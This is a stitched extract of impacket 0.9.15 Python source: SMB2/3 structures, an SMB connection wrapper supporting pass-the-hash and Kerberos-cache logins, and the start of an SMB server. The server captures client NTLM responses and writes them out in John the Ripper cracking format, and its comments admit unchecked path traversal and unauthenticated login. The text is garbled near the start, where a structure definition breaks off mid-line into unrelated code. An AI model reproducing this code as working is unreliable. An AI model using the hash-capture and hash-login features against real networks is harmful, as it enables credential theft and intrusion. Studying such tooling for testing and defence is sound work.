# TRANSFORM_HEADER
SMB2_ENCRYPTION_AES128_CCM = 0x0001
# STRUCtures
# Represents a SMB2/3 Packet
class SMBPacketBase(Structure):
def addCommand(self,command):
# Pad to 8 bytes and put the offset of another SMBPacket
raise 'Implement This!'
def isValidAnswer(self, status):
if self['Status'] != status:
import smb3
raise smb3.SessionError(self['Status'], self)
return True
def __init__(self, data = None):
Structure.__init__(self,data)
if data is None:
self['TreeID'] = 0
class SMB2PacketAsync(SMBPacketBase):
structure = (
('ProtocolID','"\xfeSMB'),
('StructureSize',' -1:
myName = myName[:i]
# If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old
# applications still believing
# *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i
# *SMBSERVER's limitations
if sess_port == 445 and remoteName == '*SMBSERVER':
remoteName = remoteHost
tries = 0
smbp = smb.NewSMBPacket()
smbp['Flags1'] = flags1
# FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support
smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE
resp = None
while tries < 2:
self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port,
timeout)
negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
if extended_security is True:
smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY
negSession['Data'] = data
smbp.addCommand(negSession)
self._nmbSession.send_packet(str(smbp))
try:
resp = self._nmbSession.recv_packet(timeout)
break
except nmb.NetBIOSError:
# OSX Yosemite asks for more Flags. Let's give it a try and see what happens
smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE
smbp['Data'] = []
tries += 1
if resp is None:
# No luck, quitting
raise
return resp.get_trailer()
def getSMBServer(self):
"""
returns the SMB/SMB3 instance being used. Useful for calling low level methods
"""
return self._SMBConnection
def getDialect(self):
return self._SMBConnection.getDialect()
def getServerName(self):
return self._SMBConnection.get_server_name()
def getRemoteHost(self):
return self._SMBConnection.get_remote_host()
def getServerDomain(self):
return self._SMBConnection.get_server_domain()
def getServerDNSDomainName(self):
return self._SMBConnection.get_server_dns_domain_name()
def getServerOS(self):
return self._SMBConnection.get_server_os()
def getServerOSMajor(self):
return self._SMBConnection.get_server_os_major()
def getServerOSMinor(self):
return self._SMBConnection.get_server_os_minor()
def getServerOSBuild(self):
return self._SMBConnection.get_server_os_build()
def doesSupportNTLMv2(self):
return self._SMBConnection.doesSupportNTLMv2()
def isLoginRequired(self):
return self._SMBConnection.is_login_required()
def isSigningRequired(self):
return self._SMBConnection.is_signing_required()
def getCredentials(self):
return self._SMBConnection.getCredentials()
def getIOCapabilities(self):
return self._SMBConnection.getIOCapabilities()
def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlmFallback = True):
"""
logins into the target system
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param bool ntlmFallback: If True it will try NTLMv1 authentication if NTLMv2 fails. Only available for SMBv1
:return: None, raises a Session Error if error.
"""
try:
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.login(user, password, domain, lmhash, nthash, ntlmFallback)
else:
return self._SMBConnection.login(user, password, domain, lmhash, nthash)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: None, raises a Session Error if error.
"""
import os
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import KerberosError
from impacket.krb5 import constants
from impacket.ntlm import compute_lmhash, compute_nthash
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user=ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'cifs/%s@%s' % (self.getRemoteHost().upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
while True:
try:
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost,
TGT, TGS)
return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT,
TGS)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise e
else:
raise e
def isGuestSession(self):
try:
return self._SMBConnection.isGuestSession()
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def logoff(self):
try:
return self._SMBConnection.logoff()
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def connectTree(self,share):
if self.getDialect() == smb.SMB_DIALECT:
# If we already have a UNC we do nothing.
if ntpath.ismount(share) is False:
# Else we build it
share = ntpath.basename(share)
share = '\\\\' + self.getRemoteHost() + '\\' + share
try:
return self._SMBConnection.connect_tree(share)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def disconnectTree(self, treeId):
try:
return self._SMBConnection.disconnect_tree(treeId)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def listShares(self):
"""
get a list of available shares at the connected target
:return: a list containing dict entries for each share, raises exception if error
"""
# Get the shares through RPC
from impacket.dcerpc.v5 import transport, srvs
rpctransport = transport.SMBTransport(self.getRemoteHost(), self.getRemoteHost(), filename=r'\srvsvc',
smb_connection=self)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrShareEnum(dce, 1)
return resp['InfoStruct']['ShareInfo']['Level1']['Buffer']
def listPath(self, shareName, path, password = None):
"""
list the files/directories under shareName/path
:param string shareName: a valid name for the share where the files/directories are going to be searched
:param string path: a base path relative to shareName
:password string: the password for the share
:return: a list containing smb.SharedFile items, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.list_path(shareName, path, password)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL,
shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF,
fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
"""
creates a remote file
:param HANDLE treeId: a valid handle for the share where the file is to be created
:param string pathName: the path name of the file to create
:return: a valid file descriptor, if not raises a SessionError exception.
"""
if self.getDialect() == smb.SMB_DIALECT:
_, flags2 = self._SMBConnection.get_flags()
pathName = pathName.replace('/', '\\')
pathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName
ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength']= len(pathName)
ntCreate['Parameters']['AccessMask'] = desiredAccess
ntCreate['Parameters']['FileAttributes']= fileAttributes
ntCreate['Parameters']['ShareAccess'] = shareMode
ntCreate['Parameters']['Disposition'] = creationDisposition
ntCreate['Parameters']['CreateOptions'] = creationOption
ntCreate['Parameters']['Impersonation'] = impersonationLevel
ntCreate['Parameters']['SecurityFlags'] = securityFlags
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & smb.SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
if createContexts is not None:
LOG.error("CreateContexts not supported in SMB1")
try:
return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
else:
try:
return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,
creationDisposition, fileAttributes, impersonationLevel,
securityFlags, oplockLevel, createContexts)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ,
creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN,
fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
"""
opens a remote file
:param HANDLE treeId: a valid handle for the share where the file is to be opened
:param string pathName: the path name to open
:return: a valid file descriptor, if not raises a SessionError exception.
"""
if self.getDialect() == smb.SMB_DIALECT:
_, flags2 = self._SMBConnection.get_flags()
pathName = pathName.replace('/', '\\')
pathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName
ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength']= len(pathName)
ntCreate['Parameters']['AccessMask'] = desiredAccess
ntCreate['Parameters']['FileAttributes']= fileAttributes
ntCreate['Parameters']['ShareAccess'] = shareMode
ntCreate['Parameters']['Disposition'] = creationDisposition
ntCreate['Parameters']['CreateOptions'] = creationOption
ntCreate['Parameters']['Impersonation'] = impersonationLevel
ntCreate['Parameters']['SecurityFlags'] = securityFlags
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & smb.SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
if createContexts is not None:
LOG.error("CreateContexts not supported in SMB1")
try:
return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
else:
try:
return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,
creationDisposition, fileAttributes, impersonationLevel,
securityFlags, oplockLevel, createContexts)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def writeFile(self, treeId, fileId, data, offset=0):
"""
writes data to a file
:param HANDLE treeId: a valid handle for the share where the file is to be written
:param HANDLE fileId: a valid handle for the file
:param string data: buffer with the data to write
:param integer offset: offset where to start writing the data
:return: amount of bytes written, if not raises a SessionError exception.
"""
try:
return self._SMBConnection.writeFile(treeId, fileId, data, offset)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def readFile(self, treeId, fileId, offset = 0, bytesToRead = None, singleCall = True):
"""
reads data from a file
:param HANDLE treeId: a valid handle for the share where the file is to be read
:param HANDLE fileId: a valid handle for the file to be read
:param integer offset: offset where to start reading the data
:param integer bytesToRead: amount of bytes to attempt reading. If None, it will attempt to read Dialect['MaxBufferSize'] bytes.
:param boolean singleCall: If True it won't attempt to read all bytesToRead. It will only make a single read call
:return: the data read, if not raises a SessionError exception. Length of data read is not always bytesToRead
"""
finished = False
data = ''
maxReadSize = self._SMBConnection.getIOCapabilities()['MaxReadSize']
remainingBytesToRead = bytesToRead
while not finished:
if remainingBytesToRead > maxReadSize:
toRead = maxReadSize
else:
toRead = remainingBytesToRead
try:
bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead)
except (smb.SessionError, smb3.SessionError), e:
if e.get_error_code() == nt_errors.STATUS_END_OF_FILE:
toRead = ''
break
else:
raise SessionError(e.get_error_code())
data += bytesRead
if len(data) >= bytesToRead:
finished = True
elif len(bytesRead) == 0:
# End of the file achieved.
finished = True
elif singleCall is True:
finished = True
else:
offset += len(bytesRead)
remainingBytesToRead -= len(bytesRead)
return data
def closeFile(self, treeId, fileId):
"""
closes a file handle
:param HANDLE treeId: a valid handle for the share where the file is to be opened
:param HANDLE fileId: a valid handle for the file/directory to be closed
:return: None, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.close(treeId, fileId)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def deleteFile(self, shareName, pathName):
"""
removes a file
:param string shareName: a valid name for the share where the file is to be deleted
:param string pathName: the path name to remove
:return: None, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.remove(shareName, pathName)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def queryInfo(self, treeId, fileId):
"""
queries basic information about an opened file/directory
:param HANDLE treeId: a valid handle for the share where the file is to be opened
:param HANDLE fileId: a valid handle for the file/directory to be closed
:return: a smb.SMBQueryFileBasicInfo structure. raises a SessionError exception if error.
"""
try:
if self.getDialect() == smb.SMB_DIALECT:
res = self._SMBConnection.query_file_info(treeId, fileId)
else:
res = self._SMBConnection.queryInfo(treeId, fileId)
return smb.SMBQueryFileStandardInfo(res)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def createDirectory(self, shareName, pathName ):
"""
creates a directory
:param string shareName: a valid name for the share where the directory is to be created
:param string pathName: the path name or the directory to create
:return: None, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.mkdir(shareName, pathName)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def deleteDirectory(self, shareName, pathName):
"""
deletes a directory
:param string shareName: a valid name for the share where directory is to be deleted
:param string pathName: the path name or the directory to delete
:return: None, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.rmdir(shareName, pathName)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def waitNamedPipe(self, treeId, pipeName, timeout = 5):
"""
waits for a named pipe
:param HANDLE treeId: a valid handle for the share where the pipe is
:param string pipeName: the pipe name to check
:param integer timeout: time to wait for an answer
:return: None, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.waitNamedPipe(treeId, pipeName, timeout = timeout)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def transactNamedPipe(self, treeId, fileId, data, waitAnswer = True):
"""
writes to a named pipe using a transaction command
:param HANDLE treeId: a valid handle for the share where the pipe is
:param HANDLE fileId: a valid handle for the pipe
:param string data: buffer with the data to write
:param boolean waitAnswer: whether or not to wait for an answer
:return: None, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.TransactNamedPipe(treeId, fileId, data, waitAnswer = waitAnswer)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def transactNamedPipeRecv(self):
"""
reads from a named pipe using a transaction command
:return: data read, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.TransactNamedPipeRecv()
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def writeNamedPipe(self, treeId, fileId, data, waitAnswer = True):
"""
writes to a named pipe
:param HANDLE treeId: a valid handle for the share where the pipe is
:param HANDLE fileId: a valid handle for the pipe
:param string data: buffer with the data to write
:param boolean waitAnswer: whether or not to wait for an answer
:return: None, raises a SessionError exception if error.
"""
try:
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.write_andx(treeId, fileId, data, wait_answer = waitAnswer, write_pipe_mode = True)
else:
return self.writeFile(treeId, fileId, data, 0)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def readNamedPipe(self,treeId, fileId, bytesToRead = None ):
"""
read from a named pipe
:param HANDLE treeId: a valid handle for the share where the pipe resides
:param HANDLE fileId: a valid handle for the pipe
:param integer bytesToRead: amount of data to read
:return: None, raises a SessionError exception if error.
"""
try:
return self.readFile(treeId, fileId, bytesToRead = bytesToRead, singleCall = True)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def getFile(self, shareName, pathName, callback, shareAccessMode = None):
"""
downloads a file
:param string shareName: name for the share where the file is to be retrieved
:param string pathName: the path name to retrieve
:param callback callback:
:return: None, raises a SessionError exception if error.
"""
try:
if shareAccessMode is None:
# if share access mode is none, let's the underlying API deals with it
return self._SMBConnection.retr_file(shareName, pathName, callback)
else:
return self._SMBConnection.retr_file(shareName, pathName, callback, shareAccessMode=shareAccessMode)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def putFile(self, shareName, pathName, callback, shareAccessMode = None):
"""
uploads a file
:param string shareName: name for the share where the file is to be uploaded
:param string pathName: the path name to upload
:param callback callback:
:return: None, raises a SessionError exception if error.
"""
try:
if shareAccessMode is None:
# if share access mode is none, let's the underlying API deals with it
return self._SMBConnection.stor_file(shareName, pathName, callback)
else:
return self._SMBConnection.stor_file(shareName, pathName, callback, shareAccessMode)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def rename(self, shareName, oldPath, newPath):
"""
rename a file/directory
:param string shareName: name for the share where the files/directories are
:param string oldPath: the old path name or the directory/file to rename
:param string newPath: the new path name or the directory/file to rename
:return: True, raises a SessionError exception if error.
"""
try:
return self._SMBConnection.rename(shareName, oldPath, newPath)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def setTimeout(self, timeout):
try:
return self._SMBConnection.set_timeout(timeout)
except (smb.SessionError, smb3.SessionError), e:
raise SessionError(e.get_error_code())
def getSessionKey(self):
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.get_session_key()
else:
return self._SMBConnection.getSessionKey()
def setSessionKey(self, key):
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.set_session_key(key)
else:
return self._SMBConnection.setSessionKey(key)
class SessionError(Exception):
"""
This is the exception every client should catch regardless of the underlying
SMB version used. We'll take care of that. NETBIOS exceptions are NOT included,
since all SMB versions share the same NETBIOS instances.
"""
def __init__( self, error = 0, packet=0):
Exception.__init__(self)
self.error = error
self.packet = packet
def getErrorCode( self ):
return self.error
def getErrorPacket( self ):
return self.packet
def getErrorString( self ):
return nt_errors.ERROR_MESSAGES[self.error]
def __str__( self ):
if nt_errors.ERROR_MESSAGES.has_key(self.error):
return 'SMB SessionError: %s(%s)' % (nt_errors.ERROR_MESSAGES[self.error])
else:
return 'SMB SessionError: 0x%x' % self.error
impacket-0.9.15/impacket/smbserver.py 0000600 0000765 0000000 00000623374 12734531507 017647 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# TODO:
# [-] Functions should return NT error codes
# [-] Handling errors in all situations, right now it's just raising exceptions.
# [*] Standard authentication support
# [ ] Organize the connectionData stuff
# [*] Add capability to send a bad user ID if the user is not authenticated,
# right now you can ask for any command without actually being authenticated
# [ ] PATH TRAVERSALS EVERYWHERE.. BE WARNED!
# [ ] Check the credentials.. now we're just letting everybody to log in.
# [ ] Check error situation (now many places assume the right data is coming)
# [ ] Implement IPC to the main process so the connectionData is on a single place
# [ ] Hence.. implement locking
# estamos en la B
from __future__ import with_statement
import calendar
import socket
import time
import datetime
import struct
import ConfigParser
import SocketServer
import threading
import logging
import logging.config
import ntpath
import os
import fnmatch
import errno
import sys
import random
import shutil
import string
from binascii import unhexlify, hexlify
# For signing
from impacket import smb, nmb, ntlm, uuid, LOG
from impacket import smb3structs as smb2
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, MechTypes, SPNEGO_NegTokenResp, ASN1_AID, ASN1_SUPPORTED_MECH
from impacket.nt_errors import STATUS_NO_MORE_FILES, STATUS_NETWORK_NAME_DELETED, STATUS_INVALID_PARAMETER, \
STATUS_FILE_CLOSED, STATUS_MORE_PROCESSING_REQUIRED, STATUS_OBJECT_PATH_NOT_FOUND, STATUS_DIRECTORY_NOT_EMPTY, \
STATUS_FILE_IS_A_DIRECTORY, STATUS_NOT_IMPLEMENTED, STATUS_INVALID_HANDLE, STATUS_OBJECT_NAME_COLLISION, \
STATUS_NO_SUCH_FILE, STATUS_CANCELLED, STATUS_OBJECT_NAME_NOT_FOUND, STATUS_SUCCESS, STATUS_ACCESS_DENIED, \
STATUS_NOT_SUPPORTED, STATUS_INVALID_DEVICE_REQUEST, STATUS_FS_DRIVER_REQUIRED, STATUS_INVALID_INFO_CLASS
# These ones not defined in nt_errors
STATUS_SMB_BAD_UID = 0x005B0002
STATUS_SMB_BAD_TID = 0x00050002
# Utility functions
# and general functions.
# There are some common functions that can be accessed from more than one SMB
# command (or either TRANSACTION). That's why I'm putting them here
# TODO: Return NT ERROR Codes
def outputToJohnFormat(challenge, username, domain, lmresponse, ntresponse):
# We don't want to add a possible failure here, since this is an
# extra bonus. We try, if it fails, returns nothing
ret_value = ''
try:
if len(ntresponse) > 24:
# Extended Security - NTLMv2
ret_value = {'hash_string':'%s::%s:%s:%s:%s' % (username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(challenge), hexlify(ntresponse)[:32], hexlify(ntresponse)[32:]), 'hash_version':'ntlmv2'}
else:
# NTLMv1
ret_value = {'hash_string':'%s::%s:%s:%s:%s' % (username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(lmresponse), hexlify(ntresponse), hexlify(challenge)), 'hash_version':'ntlm'}
except:
# Let's try w/o decoding Unicode
try:
if len(ntresponse) > 24:
# Extended Security - NTLMv2
ret_value = {'hash_string':'%s::%s:%s:%s:%s' % (username, domain, hexlify(challenge), hexlify(ntresponse)[:32], hexlify(ntresponse)[32:]), 'hash_version':'ntlmv2'}
else:
# NTLMv1
ret_value = {'hash_string':'%s::%s:%s:%s:%s' % (username, domain, hexlify(lmresponse), hexlify(ntresponse), hexlify(challenge)), 'hash_version':'ntlm'}
except Exception, e:
LOG.error("outputToJohnFormat: %s" % e)
pass
return ret_value
def writeJohnOutputToFile(hash_string, hash_version, file_name):
fn_data = os.path.splitext(file_name)
if hash_version == "ntlmv2":
output_filename = fn_data[0] + "_ntlmv2" + fn_data[1]
else:
output_filename = fn_data[0] + "_ntlm" + fn_data[1]
with open(output_filename,"a") as f:
f.write(hash_string)
f.write('\n')
def decodeSMBString( flags, text ):
if flags & smb.SMB.FLAGS2_UNICODE:
return text.decode('utf-16le')
else:
return text
def encodeSMBString( flags, text ):
if flags & smb.SMB.FLAGS2_UNICODE:
return (text).encode('utf-16le')
else:
return text
def getFileTime(t):
t *= 10000000
t += 116444736000000000
return t
def getUnixTime(t):
t -= 116444736000000000
t /= 10000000
return t
def getSMBDate(t):
# TODO: Fix this :P
d = datetime.date.fromtimestamp(t)
year = d.year - 1980
ret = (year << 8) + (d.month << 4) + d.day
return ret
def getSMBTime(t):
# TODO: Fix this :P
d = datetime.datetime.fromtimestamp(t)
return (d.hour << 8) + (d.minute << 4) + d.second
def getShares(connId, smbServer):
config = smbServer.getServerConfig()
sections = config.sections()
# Remove the global one
del(sections[sections.index('global')])
shares = {}
for i in sections:
shares[i] = dict(config.items(i))
return shares
def searchShare(connId, share, smbServer):
config = smbServer.getServerConfig()
if config.has_section(share):
return dict(config.items(share))
else:
return None
def openFile(path,fileName, accessMode, fileAttributes, openMode):
fileName = os.path.normpath(fileName.replace('\\','/'))
errorCode = 0
if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'):
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
mode = 0
# Check the Open Mode
if openMode & 0x10:
# If the file does not exist, create it.
mode = os.O_CREAT
else:
# If file does not exist, return an error
if os.path.exists(pathName) is not True:
errorCode = STATUS_NO_SUCH_FILE
return 0,mode, pathName, errorCode
if os.path.isdir(pathName) and (fileAttributes & smb.ATTR_DIRECTORY) == 0:
# Request to open a normal file and this is actually a directory
errorCode = STATUS_FILE_IS_A_DIRECTORY
return 0, mode, pathName, errorCode
# Check the Access Mode
if accessMode & 0x7 == 1:
mode |= os.O_WRONLY
elif accessMode & 0x7 == 2:
mode |= os.O_RDWR
else:
mode = os.O_RDONLY
try:
if sys.platform == 'win32':
mode |= os.O_BINARY
fid = os.open(pathName, mode)
except Exception, e:
LOG.error("openFile: %s,%s" % (pathName, mode) ,e)
fid = 0
errorCode = STATUS_ACCESS_DENIED
return fid, mode, pathName, errorCode
def queryFsInformation(path, filename, level=0):
if isinstance(filename,unicode):
encoding = 'utf-16le'
flags = smb.SMB.FLAGS2_UNICODE
else:
encoding = 'ascii'
flags = 0
fileName = os.path.normpath(filename.replace('\\','/'))
if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'):
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
fileSize = os.path.getsize(pathName)
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)
if level == smb.SMB_QUERY_FS_ATTRIBUTE_INFO or level == smb2.SMB2_FILESYSTEM_ATTRIBUTE_INFO:
data = smb.SMBQueryFsAttributeInfo()
data['FileSystemAttributes'] = smb.FILE_CASE_SENSITIVE_SEARCH | smb.FILE_CASE_PRESERVED_NAMES
data['MaxFilenNameLengthInBytes'] = 255
data['LengthOfFileSystemName'] = len('XTFS')*2
data['FileSystemName'] = 'XTFS'.encode('utf-16le')
return data.getData()
elif level == smb.SMB_INFO_VOLUME:
data = smb.SMBQueryFsInfoVolume( flags = flags )
data['VolumeLabel'] = 'SHARE'.encode(encoding)
return data.getData()
elif level == smb.SMB_QUERY_FS_VOLUME_INFO or level == smb2.SMB2_FILESYSTEM_VOLUME_INFO:
data = smb.SMBQueryFsVolumeInfo()
data['VolumeLabel'] = ''
data['VolumeCreationTime'] = getFileTime(ctime)
return data.getData()
elif level == smb.SMB_QUERY_FS_SIZE_INFO:
data = smb.SMBQueryFsSizeInfo()
return data.getData()
elif level == smb.FILE_FS_FULL_SIZE_INFORMATION:
data = smb.SMBFileFsFullSizeInformation()
return data.getData()
elif level == smb.FILE_FS_SIZE_INFORMATION:
data = smb.FileFsSizeInformation()
return data.getData()
else:
lastWriteTime = mtime
attribs = 0
if os.path.isdir(pathName):
attribs |= smb.SMB_FILE_ATTRIBUTE_DIRECTORY
if os.path.isfile(pathName):
attribs |= smb.SMB_FILE_ATTRIBUTE_NORMAL
fileAttributes = attribs
return fileSize, lastWriteTime, fileAttributes
def findFirst2(path, fileName, level, searchAttributes, isSMB2 = False):
# TODO: Depending on the level, this could be done much simpler
#print "FindFirs2 path:%s, filename:%s" % (path, fileName)
fileName = os.path.normpath(fileName.replace('\\','/'))
# Let's choose the right encoding depending on the request
if isinstance(fileName,unicode):
encoding = 'utf-16le'
flags = smb.SMB.FLAGS2_UNICODE
else:
encoding = 'ascii'
flags = 0
if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'):
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
files = []
if pathName.find('*') == -1 and pathName.find('?') == -1:
# No search patterns
pattern = ''
else:
pattern = os.path.basename(pathName)
dirName = os.path.dirname(pathName)
# Always add . and .. Not that important for Windows, but Samba whines if
# not present (for * search only)
if pattern == '*':
files.append(os.path.join(dirName,'.'))
files.append(os.path.join(dirName,'..'))
if pattern != '':
for file in os.listdir(dirName):
if fnmatch.fnmatch(file.lower(),pattern.lower()):
entry = os.path.join(dirName, file)
if os.path.isdir(entry):
if searchAttributes & smb.ATTR_DIRECTORY:
files.append(entry)
else:
files.append(entry)
else:
if os.path.exists(pathName):
files.append(pathName)
searchResult = []
searchCount = len(files)
errorCode = STATUS_SUCCESS
for i in files:
if level == smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_BOTH_DIRECTORY_INFO:
item = smb.SMBFindFileBothDirectoryInfo( flags = flags )
elif level == smb.SMB_FIND_FILE_DIRECTORY_INFO or level == smb2.SMB2_FILE_DIRECTORY_INFO:
item = smb.SMBFindFileDirectoryInfo( flags = flags )
elif level == smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO or level == smb2.SMB2_FULL_DIRECTORY_INFO:
item = smb.SMBFindFileFullDirectoryInfo( flags = flags )
elif level == smb.SMB_FIND_INFO_STANDARD:
item = smb.SMBFindInfoStandard( flags = flags )
